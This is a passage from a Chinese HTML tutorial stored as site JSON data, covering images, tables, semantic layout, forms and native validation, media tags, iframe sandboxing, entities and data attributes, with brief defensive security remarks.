冒充。",{"id":131265,"title":124075,"titles":131266,"content":124078,"level":341},"\u002Ftutorials\u002Fhtml#六图片-img",[122491],{"id":131268,"title":124082,"titles":131269,"content":131270,"level":357},"\u002Ftutorials\u002Fhtml#srcaltwidthheight四个都要写",[122491,124075],"\u003Cimg src=\"\u002Fimg\u002Fhero.webp\" alt=\"首页主图：三人协作场景\" width=\"1200\" height=\"600\" loading=\"lazy\"> src 必填，路径规则同第五章。 alt 必填（装饰图写空字符串 alt=\"\"，但不能省略属性）。它同时是三样东西：屏幕阅读器的播报文本、图片加载失败时显示的兜底文字、搜索引擎理解图片的唯一线索。别写「图片」「photo of」这类前缀，播报本身已带「图像」提示。 width \u002F height 写图片固有尺寸（不是最终显示尺寸）。浏览器据此预先算出宽高比并占好位置，图下载完页面不会「跳一下」——这个跳动会打断用户阅读，也是 Google 衡量的 CLS 指标的主要来源。显示尺寸想用 CSS 改，直接写 img { width: 100%; height: auto }，比例仍由那两个属性提供。",{"id":131272,"title":124175,"titles":131273,"content":131274,"level":357},"\u002Ftutorials\u002Fhtml#格式怎么选",[122491,124075],"格式 用在哪 注意 SVG 图标、logo、图表、需要无损缩放的图形 文本型内容清晰；不适合照片；来自第三方上传的 SVG 有 XSS 风险，别直接内联 WebP \u002F AVIF 照片、大图首选 同画质体积比 JPEG 小约三成；AVIF 更小但编码慢 JPEG 需要兼容兜底的照片 无透明通道 PNG 需要透明通道、或纯色大面积截图 照片用 PNG 体积通常是 JPEG 的 3–5 倍 GIF 基本别用 动图改用 \u003Cvideo muted loop playsinline>，体积能小一个数量级 需要多格式降级时套 \u003Cpicture>（和第十二章 \u003Cvideo> 的多 \u003Csource> 降级是同一思路）： \u003Cpicture>\n  \u003Csource srcset=\"\u002Fimg\u002Fhero.avif\" type=\"image\u002Favif\">\n  \u003Csource srcset=\"\u002Fimg\u002Fhero.webp\" type=\"image\u002Fwebp\">\n  \u003Cimg src=\"\u002Fimg\u002Fhero.jpg\" alt=\"首页主图\" width=\"1200\" height=\"600\">\n\u003C\u002Fpicture> 浏览器从上往下挑第一个支持的 \u003Csource>，都不支持时落到 \u003Cimg>——\u003Cimg> 及其 alt 必须留在最后，否则降级路径和替代文本一起丢。",{"id":131276,"title":124383,"titles":131277,"content":131278,"level":357},"\u002Ftutorials\u002Fhtml#懒加载与破图排查",[122491,124075],"loading=\"lazy\"：首屏外的图片等到接近视口才下载，长列表页收益明显。首屏主图不要加，反而应写 fetchpriority=\"high\"，否则会被自己的懒加载推迟。 decoding=\"async\"：让图片解码不阻塞其它内容渲染。 破图排查按顺序四步：① DevTools Network 看请求状态码；② 路径是否漏了部署前缀（本站在 \u002Fnuxt\u002F 子路径下，写 \u002Fimg\u002Fa.png 会打到域名根）；③ 文件真实扩展名与大小写是否一致（Linux 服务器区分大小写）；④ 本地双击能显示、部署后不显示 → 几乎一定是相对路径层级问题。",{"id":131280,"title":124418,"titles":131281,"content":131282,"level":341},"\u002Ftutorials\u002Fhtml#七表格",[122491],"\u003Ctable> 用来呈现需要横竖对照才能读懂的数据。用它做页面布局是九十年代的遗产，今天由 Flex\u002FGrid 负责（见 CSS 教程第十、十一章）。",{"id":131284,"title":124430,"titles":131285,"content":131286,"level":357},"\u002Ftutorials\u002Fhtml#六个结构标签",[122491,124418],"\u003Ctable>\n  \u003Ccaption>季度开销\u003C\u002Fcaption>\n  \u003Cthead>\u003Ctr>\u003Cth scope=\"col\">项目\u003C\u002Fth>\u003Cth scope=\"col\">金额\u003C\u002Fth>\u003C\u002Ftr>\u003C\u002Fthead>\n  \u003Ctbody>\u003Ctr>\u003Cth scope=\"row\">计算\u003C\u002Fth>\u003Ctd>1280\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\n  \u003Ctfoot>\u003Ctr>\u003Ctd>合计\u003C\u002Ftd>\u003Ctd>1950\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftfoot>\n\u003C\u002Ftable> \u003Ctable> 容器；\u003Ctr> 一行；\u003Ctd> 数据格；\u003Cth> 表头格。 \u003Cthead> \u002F \u003Ctbody> \u002F \u003Ctfoot> 把行分组。\u003Ctfoot> 建议写在 \u003Ctbody> 之后，但浏览器会把它绘制在表格末尾——历史上为了让多页打印时表头每页重复才这么规定。 \u003Ccaption> 是这张表的标题，必须紧跟 \u003Ctable> 之后、且是第一个子元素。它对读屏用户的价值相当于图片的 alt。",{"id":131288,"title":124658,"titles":131289,"content":131290,"level":357},"\u002Ftutorials\u002Fhtml#caption-与-th-scope让读屏知道这一格是什么",[122491,124418],"屏幕阅读器逐格朗读时，靠 scope 建立「这一格属于哪一行、哪一列」的对应关系： 列表头写 \u003Cth scope=\"col\">，行表头写 \u003Cth scope=\"row\">。 没有 scope，用户念到「512」时只听得到一个孤立数字；有了它，播报是「存储，8 月，512」。 复杂表头（一格横跨多列）用 headers=\"格 id 列表\" 显式关联，配合 \u003Cth id=\"...\">。 \u003Ctd> 也能当行标题用吗？可以（第一列写成 \u003Ctd>计算\u003C\u002Ftd>），但它就失去了表头语义，读屏不会把它作为对应关系播报——这是最常见的表格可访问性缺失。",{"id":131292,"title":124705,"titles":131293,"content":131294,"level":357},"\u002Ftutorials\u002Fhtml#colspan-与-rowspan",[122491,124418],"合并单元格只有一条铁律：colspan \u002F rowspan 写在被合并的第一个格子上，被它盖住的格子要从源码里删掉，不能留空 \u003Ctd>\u003C\u002Ftd>，否则行列整体错位。 \u003Ctr>\n  \u003Cth scope=\"row\" rowspan=\"2\">Nuxt\u003C\u002Fth>\n  \u003Ctd>3.12\u003C\u002Ftd>\u003Ctd>2024-07\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n  \u003C!-- 这里没有第一个格子，被上面的 rowspan 占了 -->\n  \u003Ctd>4.0\u003C\u002Ftd>\u003Ctd>2025-07\u003C\u002Ftd>\n\u003C\u002Ftr>",{"id":131296,"title":124838,"titles":131297,"content":131298,"level":357},"\u002Ftutorials\u002Fhtml#宽表格与滚动",[122491,124418],"窄屏上表格溢出会撑破整页布局。处理办法是外套一层横向滚动容器，而不是把字号压到 10px： \u003Cdiv style=\"overflow-x:auto\">\u003Ctable>…\u003C\u002Ftable>\u003C\u002Fdiv> 数据量很大时考虑改成「小屏幕用卡片列表、大屏幕用表格」两套结构按媒体查询切换——这属于 CSS 教程第十三章的响应式范畴。",{"id":131300,"title":124880,"titles":131301,"content":131302,"level":341},"\u002Ftutorials\u002Fhtml#八divspan-与-classid",[122491],"\u003Cdiv> 和 \u003Cspan> 是「无内容的容器」：它们不表达任何含义，唯一作用是把一组元素圈起来，好让 CSS 或 JS 找到这一块。所以判断标准始终是：有语义更准的标签吗？有就别用 div。",{"id":131304,"title":124898,"titles":131305,"content":131306,"level":357},"\u002Ftutorials\u002Fhtml#块级与行内默认排版行为",[122491,124880],"块级（block） 行内（inline） 代表 div、p、h1–h6、ul、li、section、table、form span、a、strong、em、code、img、small 占宽 独占一行，撑满可用宽度 只包住内容宽度 宽高\u002Fmargin 可设宽高，上下 margin 生效 宽高无效，上下 margin 不生效（padding 生效但会溢出） 能包含 可包含块级和行内 默认只能放行内（\u003Ca>、\u003Cbutton> 例外） 「块级和行内」是默认显示行为，不是标签的本质属性——CSS 的 display 可以互相转换（display: inline-block、display: flex、display: grid），这在 CSS 教程第九章专门讲。",{"id":131308,"title":125022,"titles":131309,"content":131310,"level":357},"\u002Ftutorials\u002Fhtml#class-与-id-的边界",[122491,124880],"id 在整篇文档内必须唯一，合法用途只有三类：锚点跳转目标（#id）、被 for \u002F aria-labelledby 指向、被脚本 getElementById 抓取。 不要用 id 写 CSS 选择器。它的优先级是 100，远高于 class（10），后面临时覆盖只能靠 !important，等于把样式的可维护性提前透支。 class 可以重复使用，也可以一个元素挂多个：class=\"btn btn--primary is-disabled\"——基础样式 + 变体 + 状态分开，本站所有组件都用这个命名法（BEM 风格）。 命名带用途而不是带外观：is-error 好于 red-text。 重复 id 浏览器不报错，但锚点和 label 绑定只命中第一个，属于最难排查的一类 bug。用 DevTools Console 执行 document.querySelectorAll('[id]').length 与 [...document.querySelectorAll('[id]')].map(e => e.id) 排序对比，可以一眼看到重复。",{"id":131312,"title":125094,"titles":131313,"content":131314,"level":357},"\u002Ftutorials\u002Fhtml#嵌套规则与缩进",[122491,124880],"后开的标签必须先关（\u003Cb>\u003Ci>文字\u003C\u002Fi>\u003C\u002Fb>），交叉嵌套 \u003Cb>\u003Ci>文字\u003C\u002Fb>\u003C\u002Fi> 是非法的，浏览器会强行「就近闭合」，结果与你的预期完全不同。 三条实操约定： 缩进体现层级，两个空格一档；VS Code 里 Shift+Alt+F 自动格式化整份 HTML。 块级里放块级、行内里放行内，是唯一安全的默认策略。 \u003Cp> 里不能再放 \u003Cdiv>、\u003Cp>、\u003Cul> 等块级元素——浏览器会自动把 \u003Cp> 提前闭合，导致结构意外分裂（第十八章排错清单里它是常客）。",{"id":131316,"title":125139,"titles":131317,"content":314,"level":341},"\u002Ftutorials\u002Fhtml#九语义化结构与布局标签",[122491],{"id":131319,"title":125142,"titles":131320,"content":131321,"level":357},"\u002Ftutorials\u002Fhtml#七个地标标签",[122491,125139],"标签 含义 数量约定 \u003Cheader> 区块的介绍性内容（站点头、文章头） 每个区块各一个 \u003Cnav> 主导航区块 站内导航各一个 \u003Cmain> 页面主内容 整页一个 \u003Csection> 需要标题的一个分区 任意，但每个都该有标题 \u003Carticle> 可独立分发的一段内容（博文、评论、卡片） 任意 \u003Caside> 与主内容相关但可剥离（侧栏、相关推荐） 任意 \u003Cfooter> 区块的收尾内容 每个区块各一个 唯一性说的是嵌套层级：\u003Cmain> 整页只有一个；但 \u003Carticle> 内部的 \u003Cheader> 和 \u003Cfooter> 与页面的 \u003Cheader> 不冲突，它们属于各自父区块。",{"id":131323,"title":125273,"titles":131324,"content":131325,"level":357},"\u002Ftutorials\u002Fhtml#整页骨架",[122491,125139],"一个可直接复制的起点，不含任何样式： \u003Cbody>\n  \u003Cheader>\n    \u003Ch1>站点名\u003C\u002Fh1>\n    \u003Cnav>\u003Cul>\u003Cli>\u003Ca href=\"\u002F\">首页\u003C\u002Fa>\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Fnav>\n  \u003C\u002Fheader>\n\n  \u003Cmain>\n    \u003Carticle>\n      \u003Cheader>\u003Ch2>文章标题\u003C\u002Fh2>\u003Cp>\u003Ctime datetime=\"2026-10-03\">10 月 3 日\u003C\u002Ftime>\u003C\u002Fp>\u003C\u002Fheader>\n      \u003Csection>\u003Ch3>小节\u003C\u002Fh3>\u003Cp>正文……\u003C\u002Fp>\u003C\u002Fsection>\n      \u003Cfooter>\u003Cp>标签、作者\u003C\u002Fp>\u003C\u002Ffooter>\n    \u003C\u002Farticle>\n  \u003C\u002Fmain>\n\n  \u003Caside>\u003Ch2>相关推荐\u003C\u002Fh2>\u003Cul>\u003Cli>\u003Ca href=\"#\">另一篇\u003C\u002Fa>\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Faside>\n\n  \u003Cfooter>\u003Cp>版权信息\u003C\u002Fp>\u003C\u002Ffooter>\n\u003C\u002Fbody> \u003Caside> 放在 \u003Cmain> 外面还是里面，取决于它是不是「主内容的一部分」：相关推荐属于某篇文章就放进去，全站侧栏就放外面。",{"id":131327,"title":125596,"titles":131328,"content":131329,"level":357},"\u002Ftutorials\u002Fhtml#为什么不能-div-全天下",[122491,125139],"同样一个页面，全用 \u003Cdiv> 视觉上毫无区别，但你会丢掉三样东西： 辅助技术的地标导航。读屏软件（NVDA\u002FJAWS\u002FVoiceOver）有「地标列表」，用户靠它在导航、主内容、侧栏之间一键跳转。全是 div 时这个列表是空的，用户只能从头听到尾。 机器可读的结构。搜索引擎、微信\u002F微博的抓取器、浏览器的「阅读模式」都靠标签推断正文。\u003Carticle> + \u003Cmain> 的页面被正确抽取的概率明显更高。 可读的源码。半年后回来看 \u003Carticle class=\"post-card\"> 和 \u003Cdiv class=\"d3\">，维护成本不是一个量级。 反过来说，语义标签不是越多越好：给一个既无标题也不能独立分发的包裹层硬套 \u003Csection>，比 \u003Cdiv> 更糟——你对读屏用户许下了一个兑现不了的承诺。",{"id":131331,"title":125646,"titles":131332,"content":131333,"level":357},"\u002Ftutorials\u002Fhtml#什么时候仍然该用-div",[122491,125139],"三种情况：纯样式包裹层（为了 flex 布局多套一层）、组件的根容器、以及找不到对应语义标签的抽象分组。判断顺序永远是：先找语义标签 → 再找列表\u002F表格\u002F表单结构标签 → 最后才是 div\u002Fspan。",{"id":131335,"title":125657,"titles":131336,"content":131337,"level":341},"\u002Ftutorials\u002Fhtml#十表单-form-与常见-input",[122491],"表单是页面把数据交给服务器的唯一标准通道。它的问题通常不在标签语法，而在三个容易被忽略的细节：控件没写 name、label 没绑定、type 用了默认的 text。",{"id":131339,"title":125678,"titles":131340,"content":131341,"level":357},"\u002Ftutorials\u002Fhtml#formactionmethod数据发去哪怎么发",[122491,125657],"\u003Cform action=\"\u002Fapi\u002Flogin\" method=\"post\" enctype=\"multipart\u002Fform-data\">\n  \u003C!-- 控件 -->\n  \u003Cbutton type=\"submit\">登录\u003C\u002Fbutton>\n\u003C\u002Fform> action：接收数据的地址，省略时提交到当前页面 URL。 method：get 把数据拼在 URL 问号后（进浏览器历史、进服务器日志、长度受限），只用于搜索\u002F筛选这类可分享、无副作用的查询；post 把数据放请求体里，登录、写入、上传一律用它。 enctype：默认 application\u002Fx-www-form-urlencoded；上传文件必须改成 multipart\u002Fform-data。 只有带 name 的控件才会被发送。id 是给 label 和 JS 用的，与提交无关——这是「后端说没收到数据」的第一大原因。 \u003Cbutton> 在表单内默认就是 type=\"submit\"。不想提交的按钮（清空、切换显示）必须显式写 type=\"button\"，否则一点就触发提交。",{"id":131343,"title":125815,"titles":131344,"content":131345,"level":357},"\u002Ftutorials\u002Fhtml#input-的-type-决定一切",[122491,125657],"type 同时决定三件事：用什么控件呈现、手机弹出什么键盘、浏览器按哪套规则校验。 type 用途 附带校验 text 默认值，单行文本 无 email 邮箱 基本格式 password 密码 无（配 autocomplete=\"new-password\" \u002F \"current-password\"） number 数字 数字 + min\u002Fmax\u002Fstep tel 电话 不校验，配 inputmode=\"numeric\" 换数字键盘 url 网址 需含协议名 search 搜索框 无 date \u002F time \u002F datetime-local 日期时间 格式 range 滑块 min\u002Fmax\u002Fstep color 取色器 十六进制色值 checkbox \u002F radio 多选 \u002F 单选 同组 radio 必须同名 name file 文件 配 accept 筛选类型 hidden 随表单提交的不可见数据（如 CSRF token） 无 两个高频纠正： placeholder 不能替代 label：它一输入就消失、对比度常常不达标、翻译后易截断。 读写控件的值要用属性而不是特征：el.value（复选框 el.checked、文件 el.files）。改 HTML 的 value 特征只改「初始值」，用户已输入的内容不受影响。",{"id":131347,"title":126076,"titles":131348,"content":131349,"level":357},"\u002Ftutorials\u002Fhtml#label-的正确绑法",[122491,125657],"\u003C!-- 显式绑定：for 与 id 成对，推荐 -->\n\u003Clabel for=\"email\">邮箱\u003C\u002Flabel>\n\u003Cinput id=\"email\" name=\"email\" type=\"email\">\n\n\u003C!-- 隐式包裹：合法，但标题和控件被拆散时不好维护 -->\n\u003Clabel>邮箱 \u003Cinput name=\"email\" type=\"email\">\u003C\u002Flabel> 显式绑定换来三个实际收益：点标题文字即聚焦（复选框是点标题即勾选，命中区域大得多，移动端体验差距明显）、读屏软件把标题播报成这个控件的名字、浏览器推断 autocomplete 也更准。 for 指向的 id 必须存在且不重复。一个控件允许被多个 \u003Clabel> 指向，但读屏会把两段都念出来。",{"id":131351,"title":126193,"titles":131352,"content":131353,"level":357},"\u002Ftutorials\u002Fhtml#selecttextareaoptgroup-与-datalist",[122491,125657],"\u003Cselect id=\"city\" name=\"city\">\n  \u003Coption value=\"\">请选择城市\u003C\u002Foption>\n  \u003Coptgroup label=\"华东\">\n    \u003Coption value=\"sh\">上海\u003C\u002Foption>\n    \u003Coption value=\"hz\">杭州\u003C\u002Foption>\n  \u003C\u002Foptgroup>\n\u003C\u002Fselect>\n\n\u003Ctextarea id=\"note\" name=\"note\" rows=\"4\">\u003C\u002Ftextarea>\n\n\u003Cinput list=\"langs\" id=\"lang\" name=\"lang\">\n\u003Cdatalist id=\"langs\">\n  \u003Coption value=\"HTML\">\u003C\u002Foption>\n  \u003Coption value=\"CSS\">\u003C\u002Foption>\n\u003C\u002Fdatalist> 五条约定： \u003Ctextarea> 没有 value 属性，初始内容写在开闭标签之间，第一个字符前不要留缩进（空白会真的显示出来），也不可自闭合。 \u003Cselect multiple> 在移动端体验很差，多数场景应改用一组复选框。 \u003Coption> 不带 value 时提交的是它的文本，带 value 时提交 value——这个默认差异常造成前后端读到的值不一致。 datalist 是「自由输入 + 建议」，不强制只能选；select 是「只能选」。 \u003Coptgroup> 给下拉里的选项分组，\u003Cfieldset> + \u003Clegend> 给页面上的控件分组，两者作用域完全不同。",{"id":131355,"title":126500,"titles":131356,"content":131357,"level":341},"\u002Ftutorials\u002Fhtml#十一表单校验属性",[122491],"HTML 原生校验（Constraint Validation API）的价值是在服务端返回之前就先给用户反馈，成本为零。",{"id":131359,"title":126511,"titles":131360,"content":131361,"level":357},"\u002Ftutorials\u002Fhtml#required-与-type最常用的两个",[122491,126500],"\u003Cinput name=\"nick\" required>\n\u003Cinput name=\"email\" type=\"email\" required> required 拦空值，type=\"email\" \u002F \"url\" 附带格式检查，两者叠加才能既「不能不填」又「不能乱填」。type=\"number\" 已隐含「必须是数字」，一般不需要额外 pattern。 复选框的必填有个坑：「必须同意条款」要给那一个复选框自己加 required；一组同名复选框里只要任意一个带 required，就只要求其中一个被勾选。",{"id":131363,"title":126592,"titles":131364,"content":131365,"level":357},"\u002Ftutorials\u002Fhtml#patternminmaxstepminlength",[122491,126500],"属性 规则 备注 pattern 正则 隐含整串匹配，别自己加 ^…$；必须同时给 title 说明规则，否则用户只看到「与此格式不符」 minlength \u002F maxlength 文本长度 maxlength 直接禁止继续输入（硬限制），minlength 在提交时校验（软限制） min \u002F max 数值或日期边界 只对数字\u002F日期类 type 生效 step 步长倍数 step=\"2\" 时输入 3 不合法 multiple 允许多值 配合 type=\"email\"（逗号分隔）或 \"file\" accept 文件类型 accept=\"image\u002F*\" 或 .pdf,.doc；只是筛选，不是安全限制 pattern=\"[A-Z]{2}\\d{4}\" title=\"两位大写字母加四位数字\" 会让浏览器气泡直接显示这段 title，比默认提示有用得多。",{"id":131367,"title":126729,"titles":131368,"content":131369,"level":357},"\u002Ftutorials\u002Fhtml#校验提示novalidate-与接管",[122491,126500],"原生气泡的文案语言跟随浏览器界面语言，中文站会出现「Please fill out this field」。接管的标准写法： \u003Cform novalidate>…\u003C\u002Fform> const form = document.querySelector('form')\nform.addEventListener('submit', (e) => {\n  if (!form.checkValidity()) {\n    e.preventDefault()\n    form.reportValidity()   \u002F\u002F 仍然想用浏览器气泡时就调这个\n    return\n  }\n  \u002F\u002F 校验通过，再发请求\n}) 单个控件的三个 API：el.checkValidity() 返回布尔，el.validationMessage 是浏览器准备说的话，el.setCustomValidity('文案') 替换那句话——不成立时记得设回空字符串，否则该字段永久无效。CSS 侧还有 :valid \u002F :invalid \u002F :required \u002F :optional 四个伪类可以做即时描边，注意它们在用户还没输入完时就已变红，通常要配合 :not(:placeholder-shown) 收窄条件。",{"id":131371,"title":126887,"titles":131372,"content":131373,"level":357},"\u002Ftutorials\u002Fhtml#原生校验不能替代服务端校验",[122491,126500],"原生校验属于用户体验层，不是安全层。绕过它只要一行： curl -X POST https:\u002F\u002F你的域名\u002Fapi\u002Fregister -d 'email=不是邮箱&nick=' 三条边界：前端校验负责即时反馈、可以宽松；服务端校验是唯一可信的一层，所有字段必查；数据库约束是最后一道防线。 顺带厘清 disabled 与 readonly：readonly 的值会提交、可聚焦可复制；disabled 的值不会提交、不可聚焦、通常显示为灰。只想「不让改但仍要有值」用 readonly，纯展示结果更应改用 \u003Coutput>。",{"id":131375,"title":126946,"titles":131376,"content":131377,"level":341},"\u002Ftutorials\u002Fhtml#十二audio-与-video",[122491],"音视频标签的难点不在属性多，而在浏览器的自动播放策略和多格式降级。",{"id":131379,"title":126960,"titles":131380,"content":131381,"level":357},"\u002Ftutorials\u002Fhtml#controlsautoplay-与浏览器的自动播放限制",[122491,126946],"\u003Cvideo controls preload=\"metadata\" poster=\"\u002Fimg\u002Fposter.jpg\" width=\"1280\" height=\"720\">\n  你的浏览器不支持 video，\u003Ca href=\"\u002Fmedia\u002Fdemo.mp4\">下载视频\u003C\u002Fa>。\n\u003C\u002Fvideo> controls 不写就没有播放条，用户什么都点不了——自绘播放器要几十行 JS，默认用它。 autoplay 必须同时写 muted 才可能生效。带声音的自动播放会被浏览器拦截（这是 Chrome\u002FSafari\u002FFirefox 共同策略，为了不把用户突然吓一跳，也为了省流量）。用户与页面有过交互（点击、按键）之后，脚本调用 play() 才不受限制。 playsinline 在 iPhone 上必写，漏了它 Safari 会强制切换到全屏播放器，你在视频上方叠的字幕、水印、按钮全部失效。 loop + muted + playsinline + preload=\"none\" 是背景装饰视频的标准组合。 preload 取 none \u002F metadata \u002F auto：列表页里的多个视频绝不能一律 auto，否则首屏带宽被视频吃光。 poster 给首帧占位图，既省流量也防止布局塌陷。",{"id":131383,"title":127111,"titles":131384,"content":131385,"level":357},"\u002Ftutorials\u002Fhtml#source-多格式降级",[122491,126946],"\u003Cvideo controls poster=\"\u002Fimg\u002Fposter.jpg\">\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.av1.mp4\" type=\"video\u002Fmp4;codecs=av01.0.09M.08\">\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.webm\" type=\"video\u002Fwebm\">\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.mp4\" type=\"video\u002Fmp4\">\n  降级文字与下载链接\n\u003C\u002Fvideo> 浏览器从上往下逐个试，用第一个它能解码的 \u003Csource>，所以顺序应当是「体积最优 → 兼容兜底」。全部失败时渲染 \u003Cvideo> 内部的降级内容——这一句是必须保留的，否则旧浏览器只剩一个空白框。 编码格式的现实选择：H.264（video\u002Fmp4）兼容最好、效率一般；VP9\u002FAV1（video\u002Fwebm）同画质明显更小，Safari 对 AV1 的支持较晚。因此常见做法是同时给 mp4 和 webm，或用 \u003Csource> 列出三种让新浏览器优先取小体积的那份。音频同理，\u003Caudio> 可以只给一个 MP3，兼容性风险最小。",{"id":131387,"title":127248,"titles":131388,"content":131389,"level":357},"\u002Ftutorials\u002Fhtml#track-字幕",[122491,126946],"\u003Cvideo controls>\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.mp4\" type=\"video\u002Fmp4\">\n  \u003Ctrack kind=\"subtitles\" src=\"\u002Fmedia\u002Fdemo.zh.vtt\" srclang=\"zh\" label=\"中文\" default>\n  \u003Ctrack kind=\"captions\" src=\"\u002Fmedia\u002Fdemo.en.vtt\" srclang=\"en\" label=\"English\">\n\u003C\u002Fvideo> 字幕文件是 WebVTT 格式：首行必须 WEBVTT，之后是「起止时间 → 文本」的块，可含 \u003Ci>、\u003Cc.class> 之类的轻量标记。 kind=\"subtitles\" 是给听不见声音的用户以外的人用的翻译；kind=\"captions\" 是给听障用户的，包含「掌声」这类音效说明；kind=\"descriptions\" 是给视障用户的画面描述音轨。 default 让该轨默认开启，label 是播放器字幕菜单里的名字。 字幕文件与页面不同源时必须返回 CORS 头，否则浏览器静默不加载——表现为「字幕点了没反应」，Network 面板里那条请求是 (failed) net::ERR_… 或被 CORS 策略拦下。 用 JS 操作轨道：video.textTracks[0].mode = 'showing'（其它值 hidden \u002F disabled）。 \u003Caudio> 也支持 \u003Ctrack>，但没有可视区域来显示，实际用途很小——给音频配文字稿才是对用户真正有帮助的做法。",{"id":131391,"title":127448,"titles":131392,"content":127451,"level":341},"\u002Ftutorials\u002Fhtml#十三iframe-与内嵌内容",[122491],{"id":131394,"title":127455,"titles":131395,"content":131396,"level":357},"\u002Ftutorials\u002Fhtml#src-与-sandbox-的边界",[122491,127448],"\u003Ciframe\n  src=\"\u002Fembed\u002Freport\"\n  title=\"季度报表\"\n  loading=\"lazy\"\n  sandbox=\"allow-scripts allow-forms\"\n  referrerpolicy=\"no-referrer-when-downgrade\"\n>\u003C\u002Fiframe> sandbox 是白名单：不写这个属性表示什么都不限制；写了但值为空串（sandbox=\"\"）表示最严格的封锁——脚本不能跑、表单不能提交、不能弹窗、不能把外层页面跳走。需要哪项就显式列哪项： 值 放开什么 备注 allow-scripts 内部 JS 演示代码必须 allow-forms 内部表单提交 表单示例 allow-modals alert\u002Fconfirm 讲解弹窗时 allow-popups window.open 少用 allow-same-origin 保留同源身份，可读自己的 localStorage\u002Fcookie 需要存储的示例 allow-top-navigation 允许内部把外层跳走 基本别开，是钓鱼入口 有个必须知道的陷阱：allow-scripts 与 allow-same-origin 同时给、且嵌的是同源文档时，沙箱等于形同虚设（内部脚本能拿到自己的 window 再爬 parent），浏览器控制台会直接警告这一组合。本站的示例框故意不给 allow-same-origin，代价是涉及 localStorage 的例子必须在「新标签页」里看。",{"id":131398,"title":127667,"titles":131399,"content":131400,"level":357},"\u002Ftutorials\u002Fhtml#title-不是可选项",[122491,127448],"读屏用户通过「框架列表」在 iframe 间跳转，title 就是列表里的名称。缺 title 的 iframe 在 Lighthouse \u002F axe 的无障碍审计里是确定的错误项。同理，width\u002Fheight 或 CSS 尺寸要写清楚，否则 iframe 会塌陷成 150px 高的默认值。",{"id":131402,"title":127688,"titles":131403,"content":131404,"level":357},"\u002Ftutorials\u002Fhtml#响应式内嵌容器",[122491,127448],"第三方给的嵌入代码通常写死 width=\"560\" height=\"315\"，手机上直接横向溢出。现代写法用 aspect-ratio： \u003Cdiv style=\"aspect-ratio:16\u002F9;position:relative\">\n  \u003Ciframe style=\"position:absolute;inset:0;width:100%;height:100%;border:0\" src=\"…\" title=\"…\" loading=\"lazy\">\u003C\u002Fiframe>\n\u003C\u002Fdiv> 老浏览器兼容写法是 padding-top: 56.25% 撑出比例（原理相同：百分比 padding 相对宽度计算），CSS 教程第六章会解释这条规则。",{"id":131406,"title":127775,"titles":131407,"content":131408,"level":357},"\u002Ftutorials\u002Fhtml#性能代价与-facade-模式",[122491,127448],"iframe 内容与主页面不共享渲染资源，一份 iframe 就是一次独立的网络与解析开销，是 Lighthouse「减少第三方代码」告警的主要来源。 iframe 内的内容不会被搜索引擎当作本页内容收录——把正文放 iframe 里等于放弃 SEO。 视频、地图、社交组件建议用 facade 模式：先渲染一张海报图 + 播放按钮（成本几乎为零），用户点击后才写入 src 真正加载。YouTube 的 youtube-nocookie.com 组件、多数静态站的视频方案都是这个思路。 跨 iframe 通信只能用 postMessage，两侧都必须校验 event.origin，否则任意页面都能给你发消息。",{"id":131410,"title":127822,"titles":131411,"content":314,"level":341},"\u002Ftutorials\u002Fhtml#十四实体注释与书写约定",[122491],{"id":131413,"title":127825,"titles":131414,"content":131415,"level":357},"\u002Ftutorials\u002Fhtml#常用实体",[122491,127822],"只要内容里要显示标签字符本身，就必须转义： 写法 渲染 用途 &lt; &gt; \u003C > 写代码示例，教程页最高频 &amp; & 与符号；URL 里的 & 也要写成它 &quot; \" 属性值里嵌套双引号 &apos; 或 &#39; ' 单引号（后者兼容性更稳） &nbsp; 空格 不换行空格，强制不在此处折行 &copy; &reg; &trade; © ® ™ 版权、注册、商标 &mdash; &ndash; — – 长破折号、短连接号 &middot; · 面包屑分隔符 &#20195; \u002F &#x4EE3; 代 任意 Unicode 的十进制 \u002F 十六进制写法",{"id":131417,"title":127983,"titles":131418,"content":131419,"level":357},"\u002Ftutorials\u002Fhtml#中文还需要实体吗",[122491,127822],"不需要。声明了 \u003Cmeta charset=\"UTF-8\"> 且文件确实存成 UTF-8，中文、emoji（😀）、数学符号（∑）都能直接写。实体的现代用途只剩两类：展示标签语法的教程页，以及编码不确定的旧环境。 反过来要警惕的是该转义时没转义：把用户输入直接拼进 HTML 是 XSS 的标准成因。转义发生在「输出到 HTML」这一步，而不是存储时；主流框架的插值语法（Vue 的 {{ }}、React 的 JSX）已默认转义，真正要小心的是主动使用 v-html \u002F innerHTML \u002F dangerouslySetInnerHTML。",{"id":131421,"title":128009,"titles":131422,"content":131423,"level":357},"\u002Ftutorials\u002Fhtml#注释的现状与风险",[122491,127822],"\u003C!-- 普通注释 -->\n\u003C!-- 注释里不能出现连续两个减号，会被提前当成结束 --> 三条现状：① 注释会随 HTML 一起发给用户，内部接口地址、密钥、客户名字都不能写；② 浏览器不执行注释里的脚本，但「把密码注释掉」这种写法每年仍会被扫描器捡出来；③ 条件注释（\u003C!--[if IE]>）在 IE 10+ 已彻底失效，别再用来做浏览器分支。",{"id":131425,"title":128039,"titles":131426,"content":131427,"level":357},"\u002Ftutorials\u002Fhtml#大小写引号与布尔属性",[122491,127822],"项目 现代约定 原因 标签大小写 全部小写 HTML 不区分，但 XHTML\u002FVue 模板区分，混写最容易出问题 属性值引号 始终加 值里含空格或 & 时不加就错 布尔属性 required 而非 required=\"required\" JS 里 getAttribute('disabled') 拿到的是空串而不是 \"true\"，判断要用 el.disabled 自闭合 \u003Cmeta charset=\"UTF-8\">，不写 \u002F> void 元素（br\u002Fimg\u002Finput\u002Fhr\u002Fmeta\u002Flink\u002Fsource）本来就没有结束标签 缩进 两个空格，项目内统一 交给编辑器\u002FPrettier 格式化，别手对齐",{"id":131429,"title":128151,"titles":131430,"content":131431,"level":341},"\u002Ftutorials\u002Fhtml#十五data-自定义属性",[122491],"data-* 是「给元素挂自定义数据」的合法位置，值永远是字符串。命名规则：必须以 data- 开头，后面只允许小写字母、数字和连字符——不能有大写、不能有点。",{"id":131433,"title":128166,"titles":131434,"content":131435,"level":357},"\u002Ftutorials\u002Fhtml#语法与命名",[122491,128151],"\u003Carticle id=\"a12\"\n         